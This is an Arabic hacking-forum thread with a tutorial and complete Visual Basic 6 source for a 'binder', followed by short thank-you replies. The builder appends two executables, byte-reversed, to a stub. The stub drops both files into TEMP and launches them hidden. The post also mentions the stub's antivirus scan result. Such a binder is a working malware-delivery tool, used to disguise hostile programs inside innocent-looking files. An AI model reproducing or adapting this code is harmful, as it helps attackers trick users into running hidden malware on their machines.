[شرح عمل برنآمج دمج بسيط بالفجوآل بسيك6] Simlpe Binder In Visual Basic 6

[Antivirus7]

كيف حآلكم إخوآني الكرآم أعضآء شبكة العنآكب الإحترآفية

بخير إن شآء الله

اليوم رجعت و أردت أن أضع لكم شرح لطريقة عمل برنآمج دمج بسيط بالفجوآل بسيك

المتطلبآت طبعآ : فجوآل بسيك 6 [من الأفضل النسخة الكآملة]

عملت لكم شرح مصور + فيديوا

أولآ تحميل الفيديوا



و الأن الشرح بالصور

نبدأ نتصميم وآجهة للبرنآمج

لآ تنسو إضآفة أدآة common Dialog

و الأن مع أوآد البرنآمج

في أزرآر الإستعرآض

    كود:
     Text1.Text = Getpath

Text2.Text = Getpath

و في زر الدمج

Dim sFile1 As String
Dim sFile2 As String
Dim sServer As String
Dim sStub As String
Dim sKey As String
Dim sBinary As String

    sStub = ReadFile(App.Path & "\stub.exe")
    sFile1 = ReadFile(TxtFile1.Text)
    sFile2 = ReadFile(TxtFile2.Text)
    sServer = SetPath()
    sKey = "\\\\\\\\\\\\\\\\\\"

    sBinary = _
              sStub & _
              sKey & _
              StrReverse(sFile1) & _
              sKey & _
              StrReverse(sFile2) & _
              sKey
              
              

    WriteFile sServer, sBinary

MsgBox Split(sServer, "\")(UBound(Split(sServer, "\"))) & " wurde erstellt!", vbInformation, "Fertig"

كمآ موضح في الصورة

و الأن نضيف موديل

أكوآد الموديل

                                                 Function ReadFile(sPath As String) As String
    Open sPath For Binary As #1
        ReadFile = Space(LOF(1))
        Get #1, , ReadFile
    Close #1
End Function

Function WriteFile(sPath As String, sText As String)
    Open sPath For Binary As #1
        Put #1, , sText
    Close #1
End Function

Function GetPath() As String
With Form1.CommonDialog1
.ShowOpen

If Not .FileName = "" Then GetPath = .FileName
End With
End Function

Function SetPath() As String
With Form1.CommonDialog1
.Filter = "Executables (*.exe)|*.exe"
.ShowSave

If Not .FileName = "" Then SetPath = .FileName
End With
End Function

و الأن إنتهينآ من البرنآمج نعمل تكوين

ثآنيآ نروح إلى الستآب Stub

نفتح مشروع جديد و نحذف الفورم

نضيف موديل جديد

ثم نضع أكوآد الستآب

     Public Declare Function WinExec Lib "kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long

Sub Main()
Dim sServer As String
Dim sKey As String
Dim sFile1 As String
Dim sFile2 As String
Dim sBinary As String

    sKey = "\\\\\\\\\\\\\\\\\\"
    sServer = App.Path & "\" & App.EXEName & ".exe"
    
    sBinary = ReadFile(sServer)

    sFile1 = Split(sBinary, sKey)(1)
    sFile2 = Split(sBinary, sKey)(2)
    
        WriteFile Environ$("TEMP") & "\File1.exe", StrReverse(sFile1)
        WriteFile Environ$("TEMP") & "\File2.exe", StrReverse(sFile2)


    WinExec Environ$("TEMP") & "\File1.exe", 0
    WinExec Environ$("TEMP") & "\File2.exe", 0
End Sub

Function ReadFile(sPath As String) As String
    Open sPath For Binary As #1
        ReadFile = Space(LOF(1))
        Get #1, , ReadFile
    Close #1
End Function

Function WriteFile(sPath As String, sText As String)
    Open sPath For Binary As #1
        Put #1, , sText
    Close #1
End Function

و في الأخير نكون الستآب

نتيجة فحص الستآب

تحميل أكوآد البرنآمج + الموديل المطلوب + الصور + سورس كود للبرنآمج جآهز

أي إستفسآرآت أنآ في الخدمة

بالتوفيق للجميع

​

​

 

[DaRk DrEaM]

Antivirus7

كلمة أبداع قليلة عليك ما شاء الله
عودة قوية يا غالي

 

[Antivirus7]

Antivirus7

كلمة أبداع قليلة عليك ما شاء الله
عودة قوية يا غالي

تستآهلون حبيبي

إن شآء الله يكون الشرح مفهوم
​

 

[عنكبوت الاجهزة]

مشكووووووووووووووور

 

[Antivirus7]

منور حبيبي

 

[Al!Y4N3]

تسلم يااا بطل

 

[مشكلتين]

مشكوووور اخوووي

تقبل مروري

 

[مشكلتين]

مشكوررررررررررررررررررررررررر

 

[Antivirus7]

الله يحفظكم إخوآني

منورين